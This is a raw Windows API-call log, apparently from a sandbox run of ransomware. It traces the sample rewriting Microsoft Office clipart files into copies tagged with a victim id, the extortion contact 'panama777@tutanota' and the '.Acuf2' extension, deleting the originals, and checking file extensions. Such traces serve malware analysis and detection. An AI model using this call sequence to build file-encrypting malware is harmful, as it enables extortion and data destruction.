	[0254.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.150] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.150] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.151] GetLastError () returned 0x0
	[0254.151] ReadFile (in: hFile=0x350, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x131e, lpOverlapped=0x0) returned 1
	[0254.152] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x1320, lpOverlapped=0x0) returned 1
	[0254.156] ReadFile (in: hFile=0x350, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.156] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.156] SetEndOfFile (hFile=0x330) returned 1
	[0254.156] CloseHandle (hObject=0x330) returned 1
	[0254.157] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.157] SetEndOfFile (hFile=0x350) returned 1
	[0254.160] CloseHandle (hObject=0x350) returned 1
	[0254.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 1
	[0254.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63
	[0254.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63
	[0254.161] lstrlenW (lpString=".doc") returned 4
	[0254.161] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.161] lstrlenW (lpString=".docx") returned 5
	[0254.161] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.161] lstrlenW (lpString=".pdf") returned 4
	[0254.161] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.161] lstrlenW (lpString=".xls") returned 4
	[0254.161] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.161] lstrlenW (lpString=".xlsx") returned 5
	[0254.161] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.161] lstrlenW (lpString=".ppt") returned 4
	[0254.161] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63
	[0254.161] lstrlenW (lpString=".zip") returned 4
	[0254.161] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.161] lstrlenW (lpString=".rar") returned 4
	[0254.161] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.161] lstrlenW (lpString=".bz2") returned 4
	[0254.161] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.161] lstrlenW (lpString=".7z") returned 3
	[0254.161] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63
	[0254.161] lstrlenW (lpString=".dbf") returned 4
	[0254.162] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63
	[0254.162] lstrlenW (lpString=".1cd") returned 4
	[0254.162] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63
	[0254.162] lstrlenW (lpString=".jpg") returned 4
	[0254.162] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63
	[0254.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63
	[0254.162] lstrlenW (lpString=".doc") returned 4
	[0254.162] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.162] lstrlenW (lpString=".docx") returned 5
	[0254.162] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.162] lstrlenW (lpString=".pdf") returned 4
	[0254.162] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.162] lstrlenW (lpString=".xls") returned 4
	[0254.162] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.162] lstrlenW (lpString=".xlsx") returned 5
	[0254.162] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.162] lstrlenW (lpString=".ppt") returned 4
	[0254.162] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63
	[0254.162] lstrlenW (lpString=".zip") returned 4
	[0254.162] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.162] lstrlenW (lpString=".rar") returned 4
	[0254.162] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.162] lstrlenW (lpString=".bz2") returned 4
	[0254.162] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.162] lstrlenW (lpString=".7z") returned 3
	[0254.163] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63
	[0254.163] lstrlenW (lpString=".dbf") returned 4
	[0254.163] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63
	[0254.163] lstrlenW (lpString=".1cd") returned 4
	[0254.163] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63
	[0254.163] lstrlenW (lpString=".jpg") returned 4
	[0254.163] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.163] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0254.163] lstrlenW (lpString="AG00169_.GIF") returned 12
	[0254.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.163] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=5375) returned 1
	[0254.163] CloseHandle (hObject=0x350) returned 1
	[0254.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 0x20
	[0254.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.164] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.164] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.164] GetLastError () returned 0x0
	[0254.164] ReadFile (in: hFile=0x350, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x14ff, lpOverlapped=0x0) returned 1
	[0254.166] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x1500, lpOverlapped=0x0) returned 1
	[0254.167] ReadFile (in: hFile=0x350, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.167] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.167] SetEndOfFile (hFile=0x330) returned 1
	[0254.168] CloseHandle (hObject=0x330) returned 1
	[0254.168] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.168] SetEndOfFile (hFile=0x350) returned 1
	[0254.170] CloseHandle (hObject=0x350) returned 1
	[0254.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 1
	[0254.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63
	[0254.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63
	[0254.171] lstrlenW (lpString=".doc") returned 4
	[0254.171] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.171] lstrlenW (lpString=".docx") returned 5
	[0254.171] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.171] lstrlenW (lpString=".pdf") returned 4
	[0254.171] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.171] lstrlenW (lpString=".xls") returned 4
	[0254.171] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.171] lstrlenW (lpString=".xlsx") returned 5
	[0254.171] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.171] lstrlenW (lpString=".ppt") returned 4
	[0254.171] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63
	[0254.171] lstrlenW (lpString=".zip") returned 4
	[0254.171] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.171] lstrlenW (lpString=".rar") returned 4
	[0254.171] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.171] lstrlenW (lpString=".bz2") returned 4
	[0254.171] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.172] lstrlenW (lpString=".7z") returned 3
	[0254.172] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63
	[0254.172] lstrlenW (lpString=".dbf") returned 4
	[0254.172] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63
	[0254.172] lstrlenW (lpString=".1cd") returned 4
	[0254.172] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63
	[0254.172] lstrlenW (lpString=".jpg") returned 4
	[0254.172] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63
	[0254.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63
	[0254.172] lstrlenW (lpString=".doc") returned 4
	[0254.172] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.172] lstrlenW (lpString=".docx") returned 5
	[0254.172] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.172] lstrlenW (lpString=".pdf") returned 4
	[0254.172] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.172] lstrlenW (lpString=".xls") returned 4
	[0254.172] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.172] lstrlenW (lpString=".xlsx") returned 5
	[0254.172] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.172] lstrlenW (lpString=".ppt") returned 4
	[0254.172] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63
	[0254.172] lstrlenW (lpString=".zip") returned 4
	[0254.172] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.172] lstrlenW (lpString=".rar") returned 4
	[0254.172] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.173] lstrlenW (lpString=".bz2") returned 4
	[0254.173] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.173] lstrlenW (lpString=".7z") returned 3
	[0254.173] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63
	[0254.173] lstrlenW (lpString=".dbf") returned 4
	[0254.173] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63
	[0254.173] lstrlenW (lpString=".1cd") returned 4
	[0254.173] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63
	[0254.173] lstrlenW (lpString=".jpg") returned 4
	[0254.173] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.173] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0254.173] lstrlenW (lpString="AG00170_.GIF") returned 12
	[0254.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.173] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=9248) returned 1
	[0254.173] CloseHandle (hObject=0x350) returned 1
	[0254.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 0x20
	[0254.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.174] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.174] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0254.369] GetLastError () returned 0x0
	[0254.369] ReadFile (in: hFile=0x350, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x2420, lpOverlapped=0x0) returned 1
	[0254.371] WriteFile (in: hFile=0x340, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x2430, lpOverlapped=0x0) returned 1
	[0254.373] ReadFile (in: hFile=0x350, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.373] WriteFile (in: hFile=0x340, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.373] SetEndOfFile (hFile=0x340) returned 1
	[0254.386] CloseHandle (hObject=0x340) returned 1
	[0254.407] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.407] SetEndOfFile (hFile=0x350) returned 1
	[0254.409] CloseHandle (hObject=0x350) returned 1
	[0254.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.410] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 1
	[0254.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63
	[0254.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63
	[0254.410] lstrlenW (lpString=".doc") returned 4
	[0254.410] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.410] lstrlenW (lpString=".docx") returned 5
	[0254.410] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.410] lstrlenW (lpString=".pdf") returned 4
	[0254.410] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.410] lstrlenW (lpString=".xls") returned 4
	[0254.410] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.410] lstrlenW (lpString=".xlsx") returned 5
	[0254.410] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.410] lstrlenW (lpString=".ppt") returned 4
	[0254.410] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63
	[0254.410] lstrlenW (lpString=".zip") returned 4
	[0254.411] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.411] lstrlenW (lpString=".rar") returned 4
	[0254.411] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.411] lstrlenW (lpString=".bz2") returned 4
	[0254.411] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.411] lstrlenW (lpString=".7z") returned 3
	[0254.411] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63
	[0254.411] lstrlenW (lpString=".dbf") returned 4
	[0254.411] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63
	[0254.411] lstrlenW (lpString=".1cd") returned 4
	[0254.411] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63
	[0254.411] lstrlenW (lpString=".jpg") returned 4
	[0254.411] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63
	[0254.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63
	[0254.411] lstrlenW (lpString=".doc") returned 4
	[0254.411] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.411] lstrlenW (lpString=".docx") returned 5
	[0254.411] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.411] lstrlenW (lpString=".pdf") returned 4
	[0254.411] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.411] lstrlenW (lpString=".xls") returned 4
	[0254.411] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.412] lstrlenW (lpString=".xlsx") returned 5
	[0254.412] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.412] lstrlenW (lpString=".ppt") returned 4
	[0254.412] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63
	[0254.412] lstrlenW (lpString=".zip") returned 4
	[0254.412] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.412] lstrlenW (lpString=".rar") returned 4
	[0254.412] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.412] lstrlenW (lpString=".bz2") returned 4
	[0254.412] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.412] lstrlenW (lpString=".7z") returned 3
	[0254.412] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63
	[0254.412] lstrlenW (lpString=".dbf") returned 4
	[0254.412] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63
	[0254.412] lstrlenW (lpString=".1cd") returned 4
	[0254.412] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63
	[0254.412] lstrlenW (lpString=".jpg") returned 4
	[0254.412] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.412] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0254.412] lstrlenW (lpString="AN00965_.WMF") returned 12
	[0254.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.413] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=7072) returned 1
	[0254.413] CloseHandle (hObject=0x350) returned 1
	[0254.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 0x20
	[0254.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
